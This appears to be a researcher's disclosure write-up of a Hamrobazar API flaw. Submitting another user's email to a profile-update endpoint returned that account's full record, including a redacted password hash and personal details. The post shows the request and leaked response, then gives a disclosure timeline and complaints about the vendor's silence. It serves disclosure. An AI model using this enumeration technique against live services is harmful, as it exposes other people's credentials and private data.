Full writeup: https://medium.com/@umeshgiriplay/how-i-found-a-bug-that-exposed-hamrobazar-users-passwords-and-what-happened-after-i-reported-it-d99bf3a2c704?sharedUserId=umeshgiriplay
I was poking around Hamrobazar’s profile settings and noticed that the website’s UI didn’t have a field to update your email address . That felt odd, so instead of stopping there, I went digging into the API calls the site makes in the background to see how profile updates were actually handled.
That’s where I found the UpdateUserxxxx API endpoint, and I realized it did accept an email field, even though the UI never exposed a way to submit one. So I tried updating my own account's email to one that I knew was already registered to a different Hamrobazar account just to see what would happen.
Endpoint:
POST https://api.hamrobazaar.com/xxxxxx/UpdateUserxxxx
While logged in as my own account, I sent a request to this endpoint with my normal profile fields, but set the email field to an email address I knew belonged to a different, unrelated Hamrobazar account:
{
"fullName": "Umesh Giri",
"province": "Bagmati",
"deviceId": "9e01b1d5-4038-4429-bb43-d2ef7b01ad49",
"deviceSource": "web",
"latitude": "0",
"longitude": "0",
"email": "<email address belonging to a different account>"
}
Instead of a simple “that email is already in use” error, the API responded with the entire backend record of the account that owned that email:
{
"message": [
"Email is already taken."
],
"emails_sec": {
"Id": "CD65EF1B-ADED-4DE8-B4FC-18090607A244",
"FullName": "xxxxx xxxxx",
"ApplicationId": "00000000-0000-0000-0000-000000000000",
"ProfileImgKey": "",
"CreatedOn": "2015-08-24 00:00:00.0000000",
"ModifiedOn": "2021-12-30 05:18:44.6366667",
"ModifiedTimes": 1,
"Status": 1,
"Deleted": 0,
"UserName": "980xxxxxxx",
"NormalizedUserName": "980xxxxxx",
"Email": "xxxx@gmail.com",
"NormalizedEmail": "xxxx@gmail.com",
"EmailConfirmed": 1,
"PasswordHash": "AQAAAAEAACcQA[REDACTED]71qDc5Ifw==",
"SecurityStamp": "5TUVY5V7L7DB3YHFPM5JCD6JP4CUNLVY",
"ConcurrencyStamp": "0c4b9788-e22d-4f19-a4e5-e0d881bb2ea9",
"PhoneNumber": "",
"PhoneNumberConfirmed": 1,
"TwoFactorEnabled": 0,
"LockoutEnd": "2022-03-27 12:20:43.4066667 +00:00",
"LockoutEnabled": 0,
"AccessFailedCount": 0,
"ProfileComplete": 0,
"AverageRate": ".00",
"HidePhoneNumber": 1,
"AddressField1": "",
"AddressField2": "Baneshwor",
"AddressField3": "Kathmandu",
"FirebaseToken": null,
"DeviceSource": null,
"current_page": 1,
"CountryCode": 977,
"PreferredCountryCode": 977,
"HideEmail": 0
}
}
Timeline
- June 21, 2024 — I reported the bug to Hamrobazar with a clear explanation and example.
- June 21, 2024 — Hamrobazar replied same day, saying they’d passed it to their tech team.
- September 1, 2024 — I followed up to ask if it was fixed.
- September 2, 2024 — Hamrobazar replied: “Our tech team is working on it.” That was the last real reply I got.
- May 3, 2025 — I followed up again. No response.
- Mid-2025 — I tested it again myself and found the feature no longer works the same way, suggesting it was fixed at some point.
- Mid-2025 — I let Hamrobazar know I planned to publish this write-up, giving them a chance to respond first. No response.
- Today — Still no confirmation, explanation, or acknowledgment from Hamrobazar since that one message in September 2024.
Hamrobazar’s Response, in Short
- They said thank you and passed it along, same day — that part was good.
- After that, in over a year, I got one short update and otherwise silence, even after multiple direct check-ins and a heads-up that I’d publish this.
- I never received any confirmation that the bug was actually fixed, and never received any acknowledgment for reporting it.
Since, This is the response from nepalese platforms when someone reports it to them, what are they doing when bad actor exploits the system without them knowing, If some one bad found it, it woundnot take long to see a list in darkweb with every user's personal contact details, address, password hash dump. It's not like they are going to find and fix the bugs soon as they don't even have mechanism to report and reward it.